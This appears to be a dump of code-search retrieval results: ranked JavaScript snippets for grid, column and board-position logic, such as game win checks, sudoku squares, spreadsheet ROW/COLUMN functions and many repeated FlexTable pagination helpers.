"text": "function find_leftmost_column(instance, squares_pos) {\r\n\tlet current_vertex = 0;\r\n\tlet initial_depth = 0;\r\n\tlet current_depth = 0;\r\n\tlet final_leftmost = false;\r\n\t\r\n\tlet leftmost_column = new Array();\r\n\twhile(!final_leftmost) /* cycle to find the leftmost column */ {\r\n\t\tleftmost_column = new Array();\r\n\t\tinitial_depth = current_depth;\r\n\r\n\t\twhile(true) /* cycle to fill te sequence */ {\r\n\t\t\tleftmost_column.push(current_vertex);\r\n\t\t\tlet neighbours = instance.get_neighbours(current_vertex);\r\n\r\n\t\t\tif(neighbours.length == 0) {\r\n\t\t\t\t// This can only happen if the FIRST vertex evaluated (usually 0)\r\n\t\t\t\t// is an isolated vertex. In that case we move onto the next one.\r\n\t\t\t\t++current_vertex;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\tif(neighbours[neighbours.length-1] <= current_vertex + 1) {\r\n\t\t\t\t// If highest neighbour is lower or the next one\r\n\t\t\t\t// Then this is the last of the sequence\r\n\t\t\t\t// There is a problem: It's assumed that the next vertex (n+1) is\r\n\t\t\t\t// not below the current (n). If it were, it would be part of the\r\n\t\t\t\t// leftmost column as well.\r\n\t\t\t\tfinal_leftmost = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\tcurrent_vertex = neighbours[neighbours.length-1];\r\n\t\t\t// new current_vertex is the highest neighbour of old current_vertex\r\n\r\n\t\t\t++current_depth;\r\n\t\t\tif(instance.get_neighbours(current_vertex).indexOf(current_vertex-1) != -1) {\r\n\t\t\t\t// If the vertex we were adding is connected to its immediate precedent\r\n\t\t\t\t// Then this is not the leftmost column.\r\n\t\t\t\t--current_vertex;\r\n\t\t\t\t// This is the lowest vertex on the new supposedly leftmost column\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tfor(let i = 0; i < leftmost_column.length; ++i) {\r\n\t\tsquares_pos[leftmost_column[i]].x = 0;\r\n\t\tsquares_pos[leftmost_column[i]].y = initial_depth + i;\r\n\t}\r\n\r\n\treturn leftmost_column;\r\n}", "title": "" }, { "docid": "92eed5430b3ae5704b9df7fcb4456e6b", "score": "0.48234236", "text": "function FlexTable_stacks_in_5088_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5088_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "e85ffe5ec43c5b4b764b6c5422eaa22d", "score": "0.48219225", "text": "function FlexTable_stacks_in_5654_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5654_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "7fd533d687b78e39b01bd59a4caac4e6", "score": "0.48212203", "text": "function FlexTable_stacks_in_5392_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5392_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "e316ebf42720d514155c82e5ba60cc10", "score": "0.48208913", "text": "function findWinnerSeat(pos) {\n var result = {};\n for(var row in rowsCount){\n pos = pos - rowsCount[row];\n if(pos < 0){\n result[row] = rowsCount[row] + pos +1;\n return result;\n }\n }\n return result;\n}", "title": "" }, { "docid": "044779f807372411a89c1dd9f119fd55", "score": "0.4814507", "text": "function FlexTable_stacks_in_3578_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_3578_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "661c11203d770834c52a214969793dc1", "score": "0.48102516", "text": "constructor(topLeft, bottomRight, name='') {\n this.topLeft = topLeft;\n this.bottomRight = bottomRight;\n this.name = name;\n this.length = this.cells().length;\n }", "title": "" }, { "docid": "7114c19c7997c105e02d513952c5567f", "score": "0.48090598", "text": "function FlexTable_stacks_in_1741_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_1741_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "c98fcb541c96559db689129f5a1c3edd", "score": "0.48078883", "text": "function ROWS()\n{\n if(arguments.length==0)\n {\n alert(\"please enter parameter into function \");\n return \"=ROWS()\";\n }\n \n var valuesearchy=window.cell($(\"#\"+passedid[arguments.length-1])).getindex().y;\n return valuesearchy;\n}", "title": "" }, { "docid": "582abc4e377800bdf475ad261e29f69b", "score": "0.48065364", "text": "function FlexTable_stacks_in_2836_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_2836_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "00c733b6d077290a92bcdd43c39a498f", "score": "0.48062006", "text": "findRevealedTiles(theBoard) {\n\n let {rows, cols} = this.props;\n let revealed = 0; \n\n for(let i = 0; i < rows; i++) {\n for(let j = 0; j < cols; j++) {\n if(theBoard[i][j].revealed) {\n revealed += 1;\n }\n }\n }\n\n return revealed;\n }", "title": "" }, { "docid": "490a1718e40640ff2d067e7820398ec2", "score": "0.4801959", "text": "calculateY(index) {\n\n const temp = Math.floor(index / ROW_SIZE); // - index / 10 \n\n return (temp * BOX_HEIGHT)\n }", "title": "" }, { "docid": "b7efc56c55db6da371abac49755b2e91", "score": "0.47927412", "text": "function FlexTable_stacks_in_2840_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_2840_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "c8529e7f7e7131f4c012cf8299ae7794", "score": "0.47858918", "text": "function FlexTable_stacks_in_2848_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_2848_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "9badd781f4fada43a07b0aaacbba7390", "score": "0.4774401", "text": "function getColumnVisiblePostion($firstRow, $cell){\n var tdsFirstRow = $firstRow.children();\n for(var i = 0; i < tdsFirstRow.length; i++){\n if($(tdsFirstRow[i]).data('posx') == $cell.data('posx')){\n return i;\n }\n }\n }", "title": "" }, { "docid": "4fab7765b40c262562a7aab6e322badd", "score": "0.47687393", "text": "function determineWinner() {\n var m = \"\";\n //left column\n if (squares[0].className == squares[3].className && squares[3].className == squares[6].className) {\n m = squares[0].className;\n } //middle column\n else if (squares[1].className == squares[4].className && squares[4].className == squares[7].className) {\n m = squares[1].className;\n } //right column\n else if (squares[2].className == squares[5].className && squares[5].className == squares[8].className) {\n m = squares[2].className;\n } //top row\n else if (squares[0].className == squares[1].className && squares[1].className == squares[2].className) {\n m = squares[1].className;\n } //middle row\n else if (squares[3].className == squares[4].className && squares[4].className == squares[5].className) {\n m = squares[3].className;\n } //bottom row \n else if (squares[6].className == squares[7].className && squares[7].className == squares[8].className) {\n m = squares[6].className;\n } //diagonal-1 \n else if (squares[0].className == squares[4].className && squares[4].className == squares[8].className) {\n m = squares[0].className;\n } //diagonal 2\n else if (squares[2].className == squares[4].className && squares[4].className == squares[6].className) {\n m = squares[2].className;\n } //no winner \n else {\n // no winner\n }\n \n return m;\n }", "title": "" }, { "docid": "e383e0f7fc0df3832b861534822b45d8", "score": "0.4768659", "text": "function COLUMN()\n{\n \n \n if(arguments.length==0)\n {\n alert(\"please enter parameter into function \");\n return \"=COLUMN()\";\n }\n else\n if(arguments.length!=1)\n {\n alert(\"please enter one parameter only into function \");\n return \"=COLUMN()\";\n\n }\n var id=0,j=0,numberleter=0;\n \n // for count leter in id\n \n while((ISNUMBER(passedid[0].charAt(j))==false))\n {\n \n \n numberleter++;\n\n j++;\n }\n\n \n j=0;\n // if number conent leter one only\n \n if((ISNUMBER(passedid[0].charAt(1))==true)&&j==0)\n { \n \n for(var i=0;i<columns.length;i++)\n {\n id++;\n if(passedid[0].charAt(0)==columns[i])\n {\n return id;\n }\n }\n }else\n // in number content tow leter only\n {\n \n for(var i=0;i<columns.length;i++)\n {\n \n id+=26\n if(passedid[0].charAt(j)==columns[i])\n {\n \n j++;\n }\n\n if((ISNUMBER(passedid[0].charAt(j+1))==true))\n { \n for(var i=0;i<columns.length;i++)\n {\n id++;\n if(passedid[0].charAt(j)==columns[i])\n {\n \n return id;\n }\n }\n }\n\n }\n }\n return \"#NAME?\"\n \n}", "title": "" }, { "docid": "6ec7d62248824ef93769e92e4baf54a9", "score": "0.47642255", "text": "function FlexTable_stacks_in_5390_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5390_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "283d984ebb6661789c4b8bcd5de42b00", "score": "0.47587287", "text": "calculateAtDesiredPos() {\n let counter = 0;\n for (let i = 0; i < this.num_rows; i++) {\n for (let j = 0; j < this.num_cols; j++) {\n if (this.isAtDesiredPos([i, j], this.board[i][j])) counter++;\n }\n }\n return counter;\n }", "title": "" }, { "docid": "8b38f7203c386bc569d69dfa9359d957", "score": "0.4757225", "text": "computePhandoryss(remainingAncientSouls) {\n const table = [\n {level: 1, as: 3},\n {level: 2, as: 10},\n {level: 3, as: 21},\n {level: 4, as: 36},\n {level: 5, as: 54},\n {level: 6, as: 60},\n {level: 7, as: 67},\n {level: 8, as: 75},\n {level: 9, as: 84},\n {level: 10, as: 94},\n {level: 11, as: 104},\n {level: 12, as: 117},\n {level: 14, as: 129},\n {level: 13, as: 143},\n {level: 15, as: 158},\n {level: 16, as: 174},\n {level: 17, as: 190},\n {level: 18, as: 208},\n {level: 19, as: 228}\n ];\n\n return table.filter(e => e.as <= remainingAncientSouls).pop().level;\n }", "title": "" }, { "docid": "c58ccb8a24f49bb292caa5dd30ff9b4b", "score": "0.4755498", "text": "getCellPosition(column, row) {\n return {x: column * CELL.WIDTH, y: row * CELL.HEIGHT};\n }", "title": "" }, { "docid": "e3e244a461665d2844b000dbf94061d9", "score": "0.47542143", "text": "function FlexTable_stacks_in_1508_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_1508_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "1312c9ada6521574550570908208826a", "score": "0.47504914", "text": "function FlexTable_stacks_in_4029_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_4029_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "4e5eef26202c5453c2039fb474b519a8", "score": "0.47445387", "text": "function returnCol(cell) {\n\treturn cell % 9;\n}", "title": "" }, { "docid": "a25c4e5114eb6d92f9d872e89ff46495", "score": "0.4741812", "text": "function FlexTable_stacks_in_4039_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_4039_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "612d2b7092d08fa94d5ca2176ce4d83b", "score": "0.47410884", "text": "function find_landing_square(column_dropped_on) {\n//For loop. If dropped in square 1, the loop id going to start at 36 and its\n//going to loop backwards, subtracting 7 each time. It's looping backwards.\n//We iterate backwards and minus 7 each time.\n\t\tfor (i = column_dropped_on + 35; i >= column_dropped_on; i -= 7) {\n\t\t\tvar dropped_square = $('#' + i); //this is document.getElementByID in jQuery. We are getting a hold of that div it was dropped on.\n\t\t\tvar dropped_square_num = dropped_square.attr('id'); //this is an object. It's returning the div. We are getting the number (the divs ID).\n\n\t\t\t//If the dropped_square square has the class of 'can_place'\n\t\t\t//(this will be true), we return the array back which includes the\n\t\t\t//distance from top to 6 (how far it has to go down), and the\n\t\t\t//dropped_square square number.\n\t\t\tif (dropped_square.hasClass('can_place')) {\n\t\t\t\tif (dropped_square_num > 35) {\n\t\t\t\t\treturn ['503px', dropped_square_num];\n\t\t\t\t} else if (dropped_square_num > 28) {\n\t\t\t\t\treturn ['419px', dropped_square_num];\n\t\t\t\t} else if (dropped_square_num > 21) {\n\t\t\t\t\treturn ['335px', dropped_square_num];\n\t\t\t\t} else if (dropped_square_num > 14) {\n\t\t\t\t\treturn ['251px', dropped_square_num];\n\t\t\t\t} else if (dropped_square_num > 7) {\n\t\t\t\t\treturn ['167px', dropped_square_num];\n\t\t\t\t} else {\n\t\t\t\t\treturn ['83px', dropped_square_num];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "820b8f1b74097743c9b7a299e2cad6a4", "score": "0.47355205", "text": "function ROW()\n{\n if(arguments.length==0)\n {\n alert(\"please enter parameter into function \");\n return \"=ROWS()\";\n }\n \n var valuesearchy=window.cell($(\"#\"+passedid[0])).getindex().y;\n return valuesearchy;\n}", "title": "" }, { "docid": "54a0824d12f2393b25118b275afb66a9", "score": "0.4728843", "text": "function posCalc(){\n var width = document.innerWidth;\n var colLength = width/3;\n }", "title": "" }, { "docid": "f15d56e0b9d741c16c462c29bdb6e80f", "score": "0.47266507", "text": "getCollisionLeft(left, y, height, doStepUp=false, downKey) {\n let c = Math.round(left) - 1; //col before left\n if (c < 0) return null; //screen left\n y = Math.round(y); //bottom\n for (let r = y-height+1; r <= y; r++) { //scan downward\n if (r < 0) continue \n if (r >= WH) return null;\n let val = this.collMatrix[r][c];\n if (val == 1) return r;\n if (doStepUp && r > y - STEP_UP_GRACE && val === 0 && !downKey) {\n return r;\n } \n }\n return null;\n }", "title": "" }, { "docid": "d28ecebb78c09e1a48fa5c544b009efb", "score": "0.47250685", "text": "function dynamicPositioning(container, es, n) {\n console.log(\"dynamicPositioning \", n, \" columns\");\n var i, e;\n var tops = topValues(n);\n var hspan = horizontalSpan(es[0]);\n var top, idx, pair;\n\n container.style.width = px(hspan * n);\n tops.fill(0);\n\n for (i = 0; i < es.length; i++) {\n e = es[i];\n pair = tops.leftMostMin();\n top = pair[0];\n idx = pair[1];\n e.style.top = px(top);\n e.style.left = px(hspan * idx);\n tops.increment(idx, verticalSpan(e));\n }\n}", "title": "" }, { "docid": "865f3cb66f69bb011598f4040f8069a6", "score": "0.47207838", "text": "function FlexTable_stacks_in_4026_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_4026_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(1);\n\t\t}\n\treturn(1);\n\t}", "title": "" }, { "docid": "3dd11ad87a974ec7e2a2da33912301ed", "score": "0.4719305", "text": "function detectNextBlock_Left(x,y,h,w)\n {\n var mapCoordY = (y)/ h;\n var mapCoordX = (x - 1) /w;\n \n mapCoordX = Math.floor(mapCoordX);\n mapCoordY = Math.floor(mapCoordY);\n //console.log(\"Entitity: \" + map_comp[mapCoordY-1][mapCoordX-1].toString());\n //console.log(\"Entitity: \" + map_comp[mapCoordY-1][mapCoordX-1].getOwnPropertyNames());\n return map[mapCoordY-1][mapCoordX-1];\n \n \n }", "title": "" }, { "docid": "d3d2a62f8645edddc86ad3195327bde6", "score": "0.4717923", "text": "static generateField(height, width, percentage) {\n let field = [];\n for (var j = 0; j < height; j++) {\n let row = [];\n for (var i = 0; i < width; i++) {\n let random = Math.random();\n if (random <= percentage) {\n row.push(hole);\n } else {\n row.push(fieldCharacter);\n }\n }\n field.push(row)\n }\n //set user start position\n field[0][0] = pathCharacter;\n\n //generarte random hat position\n let hatPost = [Math.floor(Math.random() * height - 1) + 2, Math.floor(Math.random() * width)];\n field[hatPost[0]][hatPost[1]] = hat;\n\n return field\n }", "title": "" }, { "docid": "4d1ff6a2dbaabb9961234812deff8a9d", "score": "0.4715486", "text": "function luckysheetDrawgridColumnTitle(scrollWidth) {\n let drawWidth = Store.luckysheetTableContentHW[0];\n let offsetLeft = Store.rowHeaderWidth;\n\n //Whole rectangle on the top column Bar\n let luckysheetTableContent = initWholeRectBar(\n offsetLeft,\n 0,\n drawWidth,\n Store.columnHeaderHeight - 1\n );\n let dataset_col_st, dataset_col_ed;\n dataset_col_st = luckysheet_searcharray(Store.visibledatacolumn, scrollWidth);\n dataset_col_ed = luckysheet_searcharray(\n Store.visibledatacolumn,\n scrollWidth + drawWidth\n );\n\n if (dataset_col_st == -1) {\n dataset_col_st = 0;\n }\n if (dataset_col_ed == -1) {\n dataset_col_ed = Store.visibledatacolumn.length - 1;\n }\n\n let end_c, start_c;\n // Draw rectangle& text in column row\n for (let c = dataset_col_st; c <= dataset_col_ed; c++) {\n if (c == 0) {\n start_c = -scrollWidth;\n } else {\n start_c = Store.visibledatacolumn[c - 1] - scrollWidth;\n }\n end_c = Store.visibledatacolumn[c] - scrollWidth;\n\n let abc = chatatABC(c);\n\n let textWidth =\n luckysheetTableContent.measureText(abc).width * Store.zoomRatio;\n fillABC123(\n abc,\n {\n rectX: start_c + offsetLeft - 1,\n rectY: 0,\n rectW: end_c - start_c,\n rectH: Store.columnHeaderHeight - 1,\n },\n {\n // horizonAlignPos: Math.round((start_c + (end_c - start_c) / 2 + offsetLeft) - textMetrics.width / 2),\n horizonAlignPos: Math.round(\n start_c + (end_c - start_c) / 2 + offsetLeft - textWidth / 2\n ),\n verticalAlignPos: Math.round(Store.columnHeaderHeight / 2),\n },\n luckysheetTableContent\n );\n // vertical lines\n drawOneLine(\n luckysheetTableContent,\n end_c + offsetLeft - 2,\n 0,\n end_c + offsetLeft - 2,\n Store.columnHeaderHeight - 2\n );\n //horizen lines\n drawOneLine(\n luckysheetTableContent,\n start_c + offsetLeft - 1,\n Store.columnHeaderHeight - 2,\n end_c + offsetLeft - 1,\n Store.columnHeaderHeight - 2\n );\n }\n}", "title": "" }, { "docid": "531a3c2ba1ad5fb4c1c7cf6b259e5f4e", "score": "0.4713289", "text": "function FlexTable_stacks_in_3586_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_3586_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "86a926942dce191c377b34f8bff193c8", "score": "0.471197", "text": "didWin(mark) {\n\n // premenne na vypocet znacky\n var vertical_count = 0,\n horizontal_count = 0,\n right_to_left_count = 0,\n left_to_right_count = 0;\n\n // Loop 1\n for (var i = 0; i < this.state.grid_size; i++) {\n\n\n vertical_count = 0;\n horizontal_count = 0;\n\n // Loop 2\n for (var j = 0; j < this.state.grid_size; j++) {\n\n\n if (this.state.data[i + '' + j] == mark) {\n horizontal_count++;\n }\n\n\n if (this.state.data[j + '' + i] == mark) {\n vertical_count++;\n }\n\n }\n\n\n if (this.state.data[i + '' + i] == mark) {\n left_to_right_count++;\n }\n\n\n if (this.state.data[(this.state.grid_size - 1 - i) + '' + i] == mark) {\n right_to_left_count++;\n }\n\n // ak suhlasi vyhral\n if (horizontal_count == this.state.grid_size || vertical_count == this.state.grid_size) {\n return true;\n }\n\n }\n\n // ak suhlasi diagonal vyhral\n if (left_to_right_count == this.state.grid_size || right_to_left_count == this.state.grid_size) {\n return true;\n }\n\n // nikto nevyhral\n return false;\n }", "title": "" }, { "docid": "d8f4c03f7887bb791a62adb6f4366df0", "score": "0.47108236", "text": "function FlexTable_stacks_in_5093_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5093_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(1);\n\t\t}\n\treturn(1);\n\t}", "title": "" }, { "docid": "a728b3351cc185f57b0a2bbe4051c57a", "score": "0.47104573", "text": "function FlexTable_stacks_in_4031_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_4031_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "f25dade25b603d2746066566eab7fd31", "score": "0.4706603", "text": "checkWin(columnNumber, rowNumber)\n\t{\n\t\tconst latestPosVal=this.gameBoard[columnNumber][rowNumber];\n\t\tconst leftDiagCheck=this.checkFour(columnNumber, rowNumber, latestPosVal, \"leftDiag\");\n\t\tif (leftDiagCheck.gameWinner!==-1)\n\t\t{\n\t\t\treturn leftDiagCheck;\n\t\t}\n\t\tconst rightDiagCheck=this.checkFour(columnNumber, rowNumber, latestPosVal, \"rightDiag\");\n\t\tif (rightDiagCheck.gameWinner!==-1)\n\t\t{\n\t\t\treturn rightDiagCheck;\n\t\t}\n\n\t\tconst horizontalCheck=this.checkFour(columnNumber, rowNumber, latestPosVal, \"horizontal\");\n\t\tif (horizontalCheck.gameWinner!==-1)\n\t\t{\n\t\t\treturn horizontalCheck;\n\t\t}\n\t\tconst verticalCheck=this.checkFour(columnNumber, rowNumber, latestPosVal, \"vertical\");\n\t\tif (verticalCheck.gameWinner!==-1)\n\t\t{\n\t\t\treturn verticalCheck;\n\t\t}\n\t\treturn {gameWinner: -1, fourIDS: []};\n\t}", "title": "" }, { "docid": "5d3600e8591787eb3b1bf5df2d216cf3", "score": "0.47058848", "text": "function IdentifyColumns(parsed)\n {\n // console.log(parsed);\n var rows=size(parsed.data)[0];\n rows--; //parser-ul indetifica cu un rand mai mult decat are fisierul\n var columns=size(parsed.data)[1];\n\n for( var m=0; m<columns; m++)\n switch (data[0][m])\n {\n case \"nume\": {index_nume=m; } break; //console.log(parsed.data[0][m]+\" \"+m);\n case \"prenume\": {index_prenume=m; } break;\n case \"salariu\": {index_r1c3=m; } break;\n case \"spor_perm\": {index_r10c3=m;} break;\n case \"retineri1\": { index_r3c6=m;} break;\n case \"lucrat\": {index_r2c2=m; } break;\n case \"brut\": { index_r3c3=m; } break;\n case \"ore_co\": {index_r1c5=m; } break;\n case \"c_odihna\": {index_r1c6=m; } break;\n case \"sal_real\": {index_r2c6=m; } break;\n case \"fs\": {index_r8c6=m;} break;//posibila corectura la coloana\n case \"ass\": {index_r9c6=m; } break;//posibila corectura la coloana\n case \"brut_impoz\": {index_r10c6=m; } break;\n case \"pensie\": { index_r1c8=m; } break;\n case \"somaj\": { index_r2c8=m; } break;\n case \"sanatate\": { index_r3c8=m; } break;\n case \"ven_net\": { index_r5c8=m; } break;\n case \"ded_pers\": { index_r4c8=m; } break;\n case \"impozit\": { index_r6c8=m; } break;\n case \"net\": {index_r7c8=m; } break;\n case \"avans\": { index_r8c8=m; } break;\n case \"retineri\": { index_r9c8=m; } break;\n case \"rest_plata\": { index_r10c8=m; } break;\n case \"diurna\": {index_diurna=m;} break;\n };\n\n}", "title": "" }, { "docid": "82612c5b6859606dcb6806dc9c5258aa", "score": "0.47004235", "text": "toCol (n){\n return n%tileRows;\n }", "title": "" }, { "docid": "7a0921b2d691cdc78e3448b0175d3219", "score": "0.469791", "text": "function SizeOfShirt(shirtWidth, shirtLength, shirtSleeve) {\n if (shirtWidth >= 28 && shirtLength >= 34 && shirtSleeve >= 10.13) {\n console.log(\"3XL\");\n } else if (\n shirtWidth >= 26 &&\n shirtLength >= 33 &&\n (shirtSleeve >= 9.63 && shirtSleeve < 10.13)\n ) {\n console.log(\"2XL\");\n } else if (\n shirtWidth >= 24 &&\n shirtLength >= 31 &&\n (shirtSleeve >= 8.88 && shirtSleeve < 9.63)\n ) {\n console.log(\"XL\");\n } else if (\n shirtWidth >= 22 &&\n shirtLength >= 30 &&\n (shirtSleeve >= 8.63 && shirtSleeve < 8.88)\n ) {\n console.log(\"L\");\n } else if (\n shirtWidth >= 20 &&\n shirtLength >= 29 &&\n (shirtSleeve >= 8.38 && shirtSleeve < 8.63)\n ) {\n console.log(\"M\");\n } else if (\n shirtWidth >= 18 &&\n shirtLength >= 28 &&\n (shirtSleeve >= 8.13 && shirtSleeve < 8.38)\n ) {\n console.log(\"S\");\n } else {\n console.log(\"N/A\");\n }\n}", "title": "" }, { "docid": "8882d0e162beabef4376a7d4f18df9ab", "score": "0.4697757", "text": "function checkrow(rowIndex, state) {\n var countb = 0;\n var countw = 0;\n var tempb = [];\n var tempw = [];\n for (var j = 0; j < 6; j ++) {\n if (state[rowIndex][j] == 'b') {\n countb ++;\n tempw.push(countw);\n countw =0;\n } else if (state[rowIndex][j] == 'w'){\n countw ++;\n tempb.push(countb);\n countb = 0;\n } else {\n tempw.push(countw);\n countw =0;\n tempb.push(countb);\n countb =0;\n }\n }\n tempw.push(countw);\n countw =0;\n tempb.push(countb);\n countb =0;\n tempb.sort(function(a,b) {return b-a});\n tempw.sort(function(a,b) {return b-a});\n resultB[rowIndex] = tempb[0];\n resultW[rowIndex] = tempw[0];\n }", "title": "" }, { "docid": "8061e66a375c8bc3eb7ec78fa1c2af67", "score": "0.4693995", "text": "function FlexTable_stacks_in_2838_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_2838_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "e2fd16e880a28dc9336fa45f82e466f4", "score": "0.46935123", "text": "function SpiltSequenceRangeOverHall(BracnhData, Allocated_Halls, All_Halls, Min_TicketNumber, Max_TicketNumber) {\n try {\n let RangeLength = 0;\n let HallIndex = 0;\n let t_Min_TicketNumber = Min_TicketNumber;\n let EnableSplitRangeOverAllocatedHalls = configurationService.getCommonSettings(BracnhData.id, constants.EnableSplitRangeOverAllocatedHalls);\n if (EnableSplitRangeOverAllocatedHalls == \"1\") {\n //Split them accross allocated halls \n RangeLength = (Max_TicketNumber - t_Min_TicketNumber) / Allocated_Halls.length;\n HallIndex = Allocated_Halls.indexOf(transaction.hall_ID);\n }\n else {\n //Split the range across all halls\n RangeLength = (Max_TicketNumber - t_Min_TicketNumber) / All_Halls.length;\n HallIndex = All_Halls.indexOf(transaction.hall_ID);\n }\n Min_TicketNumber = Math.floor((RangeLength * HallIndex) + t_Min_TicketNumber);\n Max_TicketNumber = Math.floor((RangeLength * (HallIndex + 1)) + t_Min_TicketNumber - 1);\n }\n catch (error) {\n logger.logError(error);\n }\n}", "title": "" }, { "docid": "64d12b80e5ddba15ac3923b9d1850c15", "score": "0.46913978", "text": "function getSquare(square) {\n let squareArr = []\n if(square === 1) {\n squareArr.push(getColumn(0,puzzle).slice(0, 3)) \n squareArr.push(getColumn(1,puzzle).slice(0, 3))\n squareArr.push(getColumn(2,puzzle).slice(0, 3));\n squareArr.join().split(\",\");\n }else if(square === 2) {\n squareArr.push(getColumn(0,puzzle).slice(3, 6)) \n squareArr.push(getColumn(1,puzzle).slice(3, 6))\n squareArr.push(getColumn(2,puzzle).slice(3, 6));\n squareArr.join().split(\",\");\n }else if(square === 3) {\n squareArr.push(getColumn(0,puzzle).slice(6, 9)) \n squareArr.push(getColumn(1,puzzle).slice(6, 9))\n squareArr.push(getColumn(2,puzzle).slice(6, 9));\n squareArr.join().split(\",\");\n }else if(square === 4) {\n squareArr.push(getColumn(3,puzzle).slice(0, 3)) \n squareArr.push(getColumn(4,puzzle).slice(0, 3))\n squareArr.push(getColumn(5,puzzle).slice(0, 3));\n squareArr.join().split(\",\");\n }else if(square === 5) {\n squareArr.push(getColumn(3,puzzle).slice(3, 6)) \n squareArr.push(getColumn(4,puzzle).slice(3, 6)) \n squareArr.push(getColumn(5,puzzle).slice(3, 6)) \n squareArr.join().split(\",\");\n }else if(square === 6) {\n squareArr.push(getColumn(3,puzzle).slice(6, 9)) \n squareArr.push(getColumn(4,puzzle).slice(6, 9)) \n squareArr.push(getColumn(5,puzzle).slice(6, 9)) \n squareArr.join().split(\",\");\n }else if(square === 7) {\n squareArr.push(getColumn(6,puzzle).slice(0, 3)) \n squareArr.push(getColumn(7,puzzle).slice(0, 3)) \n squareArr.push(getColumn(8,puzzle).slice(0, 3)) \n squareArr.join().split(\",\");\n }else if(square === 8) {\n squareArr.push(getColumn(6,puzzle).slice(3, 6)) \n squareArr.push(getColumn(7,puzzle).slice(3, 6)) \n squareArr.push(getColumn(8,puzzle).slice(3, 6)) \n squareArr.join().split(\",\");\n }else if(square === 9) {\n squareArr.push(getColumn(6,puzzle).slice(6, 9)) \n squareArr.push(getColumn(7,puzzle).slice(6, 9)) \n squareArr.push(getColumn(8,puzzle).slice(6, 9)) \n squareArr.join().split(\",\");\n }\n //convert array of strings to array of ints\n let mergedArr = [].concat.apply([], squareArr);\n return mergedArr;\n}", "title": "" }, { "docid": "2ea79634937b968edaad40441d2553cd", "score": "0.4687049", "text": "function checkWonDiagonal2(pos) {\n let fields = [];\n let i = 1;\n let col;\n let field = [];\n\n //above/left of pos\n while (col = container.children[pos.col - i]) {\n if (field = col.children[pos.row - i]) {\n if (field.classList.contains(player)) {\n fields.push(field);\n } else {\n break;\n }\n } else {\n break;\n }\n i++;\n }\n\n //below/right of pos\n i = 1;\n while (col = container.children[pos.col + i]) {\n if (field = col.children[pos.row + i]) {\n if (field.classList.contains(player)) {\n fields.push(field);\n } else {\n break;\n }\n } else {\n break;\n }\n i++;\n }\n\n if (fields.length >= 3) {\n return fields;\n }\n return false;\n}", "title": "" }, { "docid": "1da82b2451b0c86a0b6439c8cfd8ba31", 